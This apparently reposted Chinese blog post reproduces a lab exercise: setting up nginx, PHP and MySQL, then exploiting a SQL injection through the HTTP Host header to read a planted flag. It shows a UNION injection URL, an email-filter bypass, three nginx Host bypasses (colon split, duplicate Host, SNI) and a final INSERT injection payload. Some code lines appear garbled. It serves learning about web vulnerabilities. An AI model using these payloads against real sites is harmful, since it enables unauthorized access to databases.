概述
nginx-host绕过实例复现
- 1.测试环境搭建
- 1.1 基础nginx配置
- 1.2 代码部署+数据库配置
- 过程排错
- 1.3 https配置
- 1.3.1 nginx自签名证书
- 1.3.2 nginx配置ssl模块
- 2.sql注入漏洞挖掘
- 2.1 sql注入基本原理
- 2.2 本例中的注入点
- 2.3 `FILTER_VALIDATE_EMAIL`绕过
- 3.HOST绕过
- 3.1 冒号号分割host字段
- 3.2 双HOST字段绕过 - nginx低版本可用
- 3.3 SNI扩展绕过
- 3.3.1 SNI的概念
- 3.3.2 测试SNI特性
- 4. insert注入获取flag
- 5.总结
本文参考周老师的 《攻击LNMP架构web应用的几个tricks》进行部分复现,着重分析关于NGINX的请求头中的host字段绕过部分。为以后的学习提供一个思路。
1.测试环境搭建
LNMP架构的话,肯定就是linux、nginx、mysql、php四大组件。在后面的复现中我们还会用到https的一部分知识,故这里的nginx就需要使用虚拟主机并且配置https证书,且具有php解析功能。
1.1 基础nginx配置
#1.创建web目录
mkdir -p /var/www/aaa/
#2.配置nginx配置文件
/usr/local/nginx/conf/nginx.conf
#3.文件内容添加server模块
server {
listen 80;
server_name www.aaa.com;
root "/var/www/aaa/nginxhost/web";
index index.html index.php;
location / {
try_files $uri $uri/ /index.php;
}
location ~ .php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
#4.启动nginx
[root@blackstone aaa]# /usr/local/nginx/sbin/nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
[root@blackstone aaa]# /usr/local/nginx/sbin/nginx
记得修改本机的host文件:C:WindowsSystem32driversetc
192.168.2.169 www.aaa.com
1.2 代码部署+数据库配置
#1.将代码部署到指定位置(源码在评论区给出)
mv /home/batman/nginxhost .
#2.测试页面
#3.给tmp文件赋权
[root@blackstone web]# chmod 777 /var/www/aaa/nginxhost/protected/tmp
再次测试:
#4. 数据库对接 在对应目录下输入mysql -uroot -p密码 即可
[root@blackstone nginxhost]# cd /var/www/aaa/nginxhost
mysql> create database security;
Query OK, 1 row affected (0.00 sec)
mysql> use security;
Database changed
mysql> source initialize.sql
在开始之前我们浅浅分析一下数据库的大致结构,并插入flag
#flags就是我们需要获取的数据,两个字段构成
mysql> show columns from flags;
+-------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| flag | varchar(256) | YES | | NULL | |
+-------+------------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)
#这里是一个用户注册的数据表,四个字段,id、username、passsword、email
mysql> show columns from users;
+----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| username | varchar(256) | NO | UNI | NULL | |
| password | varchar(32) | NO | | NULL | |
| email | varchar(256) | YES | | NULL | |
+----------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)
#我们插入flag
mysql> insert into flags (flag) values ('mygod,you are a hacker!');
Query OK, 1 row affected (0.01 sec)
mysql> select * from flags;
+----+-------------------------+
| id | flag |
+----+-------------------------+
| 2 | mygod,you are a hacker! |
+----+-------------------------+
1 row in set (0.00 sec)
测试登陆页面的功能:
运气好的话会有一个报错:
Fatal error: Class 'MySQLi' not found in /var/www/aaa/nginxhost/protected/lib/core.php on line 280
这是因为当前的php内部没有mysqli这个模块需要扩展安装,首先我们需要确定php的安装版本,下载对应的源码包进行重新安装:
php官网:https://www.php.net/releases/ 详情见下方排错。
到此环境初步部署完毕。
过程排错
安装源码编译php5.4.16的步骤
#1.下载依赖
yum -y install
libjpeg
libjpeg-devel
libpng libpng-devel
freetype freetype-devel
libxml2
libxml2-devel
zlib zlib-devel
curl curl-devel
openssl openssl-devel
#2.解压安装包 解压不了需要安装bzip扩展 yum -y install bzip2
tar jxvf php-5.4.16.tar.bz2
#3.进入目录,进行预编译 --- 这里会直接编译进去必须的模块,如果想通过外置模块进行添加可以自行解决
cd php-5.4.16
./configure
--prefix=/usr/local/php
--with-mysql-sock=/usr/local/mysql/mysql.sock
--with-mysqli
--with-zlib
--with-curl
--with-gd
--with-jpeg-dir
--with-png-dir
--with-freetype-dir
--with-openssl
--enable-mbstring
--enable-xml
--enable-session
--enable-ftp
--enable-pdo
--enable-tokenizer
--enable-zip
#4.安装
make && make install
#5.测试版本以及模块
[root@blackstone batman]# php -v
PHP 5.4.16 (cli) (built: Apr 1 2020 04:07:17)
Copyright (c) 1997-2013 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2013 Zend Technologies
[root@blackstone batman]# php -m | grep mysqli
mysqli
注意这里如果先前进行了nginx的解析,一定要把php-fpm重新启动一下刷新我们的配置:
systemctl restart php-fpm
1.3 https配置
随着越来越多的网站接入HTTPS
,因此Nginx
中仅配置HTTP
还不够,往往还需要监听443
端口的请求,但在以前学习过HTTP/HTTPS的朋友知道,HTTPS
为了确保通信安全,所以服务端需配置对应的数字证书,当项目使用Nginx
作为网关时,那么证书在Nginx
中也需要配置,接下来简单聊一下关于SSL
证书配置过程:
1.先去CA机构或从云控制台中申请对应的SSL
证书,审核通过后下载Nginx
版本的证书。
这里没有申请证书,由于是测试环境我们就使用openssl生成一个自签名证书(详情见1.3.1)
2.下载数字证书后,完整的文件总共有三个: .crt、.key、.pem
.crt
:数字证书文件,.crt
是.pem
的拓展文件,因此有些人下载后可能没有。.key
:服务器的私钥文件,及非对称加密的私钥,用于解密公钥传输的数据。.pem
:Base64-encoded
编码格式的源证书文本文件,可自行根需求修改拓展名。
3.在Nginx
目录下新建certificate
目录,并将下载好的证书/私钥等文件上传至该目录。
#这里的配置在1.3.1 中已经自己生成了对应的配置
4.最后修改一下nginx.conf
文件即可,如下:
# ----------HTTPS配置-----------
server {
# 监听HTTPS默认的443端口
listen 443;
# 配置自己项目的域名
server_name www.xxx.com;
# 打开SSL加密传输
ssl on;
# 输入域名后,首页文件所在的目录
root html;
# 配置首页的文件名
index index.html index.htm index.jsp index.ftl;
# 配置自己下载的数字证书
ssl_certificate certificate/xxx.pem;
# 配置自己下载的服务器私钥
ssl_certificate_key certificate/xxx.key;
# 停止通信时,加密会话的有效期,在该时间段内不需要重新交换密钥
ssl_session_timeout 5m;
# TLS握手时,服务器采用的密码套件
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
# 服务器支持的TLS版本
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
# 开启由服务器决定采用的密码套件
ssl_prefer_server_ciphers on;
location / {
....
}
}
# ---------HTTP请求转HTTPS-------------
server {
# 监听HTTP默认的80端口
listen 80;
# 如果80端口出现访问该域名的请求
server_name www.xxx.com;
# 将请求改写为HTTPS(这里写你配置了HTTPS的域名)
rewrite ^(.*)$ https://www.xxx.com;
}
本例中的配置文件相关位置修改为:
server {
listen 443 ssl;
server_name www.aaa.com;
root "/var/www/aaa/nginxhost/web";
index index.html index.php;
#这里的ssl配置可以直接从nginx官方给出的配置复制过来,做一个微调即可
ssl_certificate /usr/local/nginx/certificate/ssl.crt;
ssl_certificate_key /usr/local/nginx/certificate/ssl.key;
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
location / {
try_files $uri $uri/ /index.php;
}
location ~ .php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
测试访问效果:
#检测配置语法后,重启服务
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx -t
Enter PEM pass phrase:
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx
Enter PEM pass phrase:
https配置完毕。
1.3.1 nginx自签名证书
#1.创建证书目录
[root@blackstone nginx]# mkdir certificate
[root@blackstone nginx]# cd certificate/
#2.生成私钥 - 要求你输入这个key文件的密码。给nginx使用。每次reload nginx配置时候都要验证这个PAM密码。
openssl genrsa -des3 -out ssl.key 4096
#3.生成CA证书文件
openssl req -new -key ssl.key -out ssl.csr
#4.利用CA证书签名生成服务器身份证书 - 证书签发有效期365天
openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key -out ssl.crt
#5.检查生成情况 - 此时包含我们自己的私钥,自己的证书.crt文件,以及csrCA证书
[root@blackstone certificate]# ll
total 12
-rw-r--r-- 1 root root 1891 Jan 11 21:28 ssl.crt
-rw-r--r-- 1 root root 1756 Jan 11 21:25 ssl.csr
-rw-r--r-- 1 root root 3311 Jan 11 21:24 ssl.key
1.3.2 nginx配置ssl模块
#1.判断是否具有ssl模块 --- 输出含有configure arguments: --with-http_ssl_module
/usr/local/nginx/sbin/nginx -V
#2.移动到nginx源码解压目录
./configure --with-http_ssl_module
#3.编译执行
make
#4.备份原有已安装好的nginx
cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
#5.然后将刚刚编译好的nginx覆盖掉原有的nginx(这个时候nginx要停止状态)
cp ./objs/nginx /usr/local/nginx/sbin/
#6.测试查看
[root@blackstone nginx-1.20.2]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled
configure arguments: --with-http_ssl_module
2.sql注入漏洞挖掘
这里由于暂时未系统的了解sql注入,故对其进行一个简单的叙述即可,重点我们放在host字段绕过上。
2.1 sql注入基本原理
这里用sqllab第一关来进行示例。第一关模拟了我们很常见的一个功能就是查询显示。我们从前端通过get传参,将id传递到后端php代码,后端的php代码接收到了参数。将参数不加任何过滤的拼接进入sql语句内部,由此引发的安全漏洞会导致恶意的数据库语句执行,小到窃取敏感数据,大到恶意删库跑路。实际环境中会有严密的过滤函数处理数据,而今天我们体会一下其原理即可:
正常的显示:
我们加入单引号:产生了报错,则说明此参数被代入sql语句了,有安全风险。也可以说此处存在注入点。
我们看一看后端的代码:
#接收参数
$id=$_GET['id'];
#直接拼接进入sql语句进行执行
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#我们传参后的语句 出现语法错误,在执行时必然会引发报错
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
那如果我们此时在此处进行一些巧妙的构造:
#id=-1让其查询不出来正确结果,联合查询在字段一致时返回1,2,3用于判断回显位置
http://192.168.2.1/sqllabs/Less-1/?id=-1' union select 1,2,3 --+
利用联合查询就可以看到select的2,3位置可以回显信息,在此处在插入我们的目标语句就可以直接操作数据库了。
综上,我们得出一个小结论,就是我们想要进行sql注入就需要寻找单引号闭合特征的注入点。
2.2 本例中的注入点
本着找注入点的目的,我们查看这套源码的控件,看里面有没有可以利用的sql语句。
我们找到controller里面的maincontroller.php可以看到,此处有三个功能函数,session验证、登陆验证、注册新用户。
我们只能后面两个函数,首先是这里的actionlogin
函数。
function actionLogin(){
//判断传参方式是否为表单的post方法
if ($_POST) {
//数据交给arg()来处理,我们需要去查看arg函数
$username = arg('username');
$password = md5(arg('password', ''));
if (empty($username) || empty($password)) {
$this->error('Username or password is empty.');
}
$user = new User();
$data = $user->query("SELECT * FROM `{$user->table_name}`
WHERE `username` = '{$username}' AND `password` = '{$password}'");
if (empty($data) or $data[0]['password'] !== $password) {
$this->error('Username or password is error.');
}
$_SESSION['user_id'] = $data[0]['id'];
$this->jump('/');
}
}
#以下为core里面的内容
function escape(&$arg) {
if(is_array($arg)) {
foreach ($arg as &$value) {
escape($value);
}
} else {
$arg = str_replace(["'", '\', '(', ')'], ["‘", '\\', '(', ')'], $arg);
}
}
function arg($name, $default = null, $trim = false) {
if (isset($_REQUEST[$name])) {
$arg = $_REQUEST[$name];
} elseif (isset($_SERVER[$name])) {
$arg = $_SERVER[$name];
} else {
$arg = $default;
}
if($trim) {
$arg = trim($arg);
}
return $arg;
}
从上述代码段内部可以看到:arg函数利用request接收,由于REQUEST被全局过滤函数escape过滤了单引号。所以username,password没法利用。无法使用其作为传入单引号的注入点。
我们再来看下面的注册控制函数:
function actionRegister(){
if ($_POST) {
$username = arg('username');
$password = arg('password');
if (empty($username) || empty($password)) {
$this->error('Username or password is empty.');
}
$email = arg('email');
//利用host字段,拼接用户的邮箱
if (empty($email)) {
$email = $username . '@' . arg('HTTP_HOST');
}
//用户邮箱的合法性验证 --- 利用了FILTER_VALIDATE_EMAIL函数
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$this->error('Email error.');
}
$user = new User();
$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
if ($data) {
$this->error('This username is exists.');
}
$ret = $user->create([
'username' => $username,
'password' => md5($password),
'email' => $email
]);
if ($ret) {
$_SESSION['user_id'] = $user->lastInsertId();
} else {
$this->error('Unknown error.');
}
}
}
/*
注册控制器中的username,password和上面login一致,都被escape函数过滤。
但是在接收email的时候email是username@arg('HTTP_HOST')。
HTTP_HOST是php $_SERVER接收的。
arg函数$_SERVER可以接收HTTP_HOST,
并没有全局函数escape过滤,这样一来,host里面可以传入单引号就有了注入点
*/
这里其实我也不是很懂,但是大概意思是我们的host字段被后端拿去作为插入的信息参与了email信息的组合。
那也就是说我们现在要克服的问题有以下几个:
1.刚刚看见的系统过滤函数对于用户邮箱的合法性验证 — 利用了FILTER_VALIDATE_EMAIL函数
2.我们知道host字段决定着nginx的解析方式,一旦发生修改会导致无法正常访问网页,关于此处如何绕过。这也是本文的重点
下面我们来解决这些问题
2.3 FILTER_VALIDATE_EMAIL
绕过
RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:
- 将特殊字符用
转义,如
Joe'Blow@example.com
- 或将local part包裹在双引号中,如
"Joe'Blow"@example.com
- local part长度不超过64个字符
虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过FILTER_VALIDATE_EMAIL
的检测。
因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为"name
,Host为is'"@.aaa.com
,最后拼接出来的邮箱为"nameis'"@aaa.com
。这个邮箱是合法的。
[root@blackstone web]# cat 2.php
<?php
$email = '"nameis'"@aaa.com';
var_dump(filter_var($email,FILTER_VALIDATE_EMAIL));
3.HOST绕过
我们看看上面修改该过host之后接收到的数据时什么样的:
返回的页面为404 notfound,这是因为nginx不知道应该交给哪一个模块进行解析,于是就交给了默认的模块进行处理,而在默认的路径下我们有没有进行这个页面的部署,于是出现了404的返回页面。我在此处提供三种绕过方案供大家使用。
3.1 冒号号分割host字段
Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host为www.aaa.com:'"@aaa.com
即可绕过。
查看效果:很明显产生了报错,我们的注入点应当已经注入成功
注意这里访问的页面不在是初始的登陆页面了,不要再在登陆页面尝试了。访问的页面应当为:
#注册页面
http://www.aaa.com/main/register
3.2 双HOST字段绕过 - nginx低版本可用
当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。
Host: www.aaa.com
Host: '"@aaa.com
测试结果:这里由于nginx的版本较高,此种方法已经不适用了。
[root@blackstone web]# nginx -v
nginx version: nginx/1.20.1
有兴趣的同学可以去低版本的nginx上进行测试。
3.3 SNI扩展绕过
3.3.1 SNI的概念
SNI (Server Name Indication)是用来改善服务器与客户端 SSL (Secure Socket Layer)和 TLS (Transport Layer Security) 的一个扩展。
早期的SSLv2根据经典的公钥基础设施PKI(Public Key Infrastructure)设计,默认一台服务器(或者说一个IP)只会提供一个服务,所以在SSL握手时,服务器端可以确信客户端申请的是哪张证书。
但是让人万万没有想到的是,虚拟主机大力发展起来了,这就造成了一个IP会对应多个域名的情况。解决办法有一些,例如申请泛域名证书,对所有*.yourdomain.com的域名都可以认证,但如果你还有一个yourdomain.net的域名,那就不行了。
在HTTP协议中,请求的域名作为主机头(Host)放在HTTP Header中,所以服务器端知道应该把请求引向哪个域名,但是早期的SSL做不到这一点,因为在SSL握手的过程中,根本不会有Host的信息,所以服务器端通常返回的是配置中的第一个可用证书。因而一些较老的环境,可能会产生多域名分别配好了证书,但返回的始终是同一个。
既然问题的原因是在SSL握手时缺少主机头信息,那么补上就是了。
SNI(Server Name Indication)定义在RFC 4366,是一项用于改善SSL/TLS的技术,在SSLv3/TLSv1中被启用。它允许客户端在发起SSL握手请求时(具体说来,是客户端发出SSL请求中的ClientHello阶段),就提交请求的Host信息,使得服务器能够切换到正确的域并返回相应的证书。
要使用SNI,需要客户端和服务器端同时满足条件,幸好对于现代浏览器来说,大部分都支持SSLv3/TLSv1,所以都可以享受SNI带来的便利。
也就是说现在的环境中只需要服务端进行相应的配置即可使用这项技术。而配置了虚拟主机并且均配置有https证书的情况下,服务器这项功能通常是打开的。
应用实例:公司域名更变,同时又要新旧域名同时运行。 那么对于https的域名在同一个IP上如何同时存在多个虚拟主机呢?
3.3.2 测试SNI特性
1.检测SNI的活动性 - 新版的nginx都会默认开启这个模块
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled #这里表示已经开启了SNI
configure arguments: --with-http_ssl_module
2.直接使用burp进行抓包,我们可以直接获取到这里的报错信息,显然SNI机制在这里起到了作用,原因就是我们在刚开始通信时就已经在协商阶段发送给服务器我们的HOST字段,后续的通信nginx不再依赖此字段。但是php处理时依然再使用新的host字段。于是就导致了这里的注入回显。
4. insert注入获取flag
最终host字段:
Host: www.aaa.com:'),('a',md5(123),(select(flag)from(flags)))#"@aaa.com
内部执行的sql语句,相当于插入了两组数据,而第二组数据的email字段被拿来存放查询flag的结果。
insert into users (username,password,email) values ("batman,md5(123456),"batman@www.aaa.com),('a',md5(123),(select(flag)from(flags)))
查看效果:
在登陆我们插入的新用户即可查看到flag:
到这里,整个复现过程就告一段落了。
5.总结
在本文中我们经历了一次相对完整的漏洞发现之旅。从了解到sql注入的基本原理开始我们的目的变得十分明确。我们要寻找可以使用单引号引发报错的注入点。而这个注入点出现的位置也不是局限再get请求或者post请求内部。而是可以出现在host字段内的。
为了实现这一注入点的利用,我们先是利用rfc3696绕过了FILTER_VALIDATE_EMAIL
函数对于输入邮箱格式的限制。随后为了解决nginx无法解析错误的host字段,我们又连续掏出了三大法宝。利用冒号分隔,利用双重host,利用SNI机制。无论是那种方案其实根本的原理就是要利用nginx和fpm转发下的php处理HOST的差异。来实现HOST字段的逃逸绕过。
最最后,在报错注入点的前提下,我们终于使用了insert的一点点知识拿到了最开始写入的flag。整个过程做下来,还是有很大的提升的。无论是配置环境还是代码审计的思路,都是一个十分深刻且具有挑战性的实例复现。
最后
以上就是勤劳睫毛为你收集整理的nginx-host绕过实例复现1.测试环境搭建2.sql注入漏洞挖掘3.HOST绕过4. insert注入获取flag5.总结的全部内容,希望文章能够帮你解决nginx-host绕过实例复现1.测试环境搭建2.sql注入漏洞挖掘3.HOST绕过4. insert注入获取flag5.总结所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复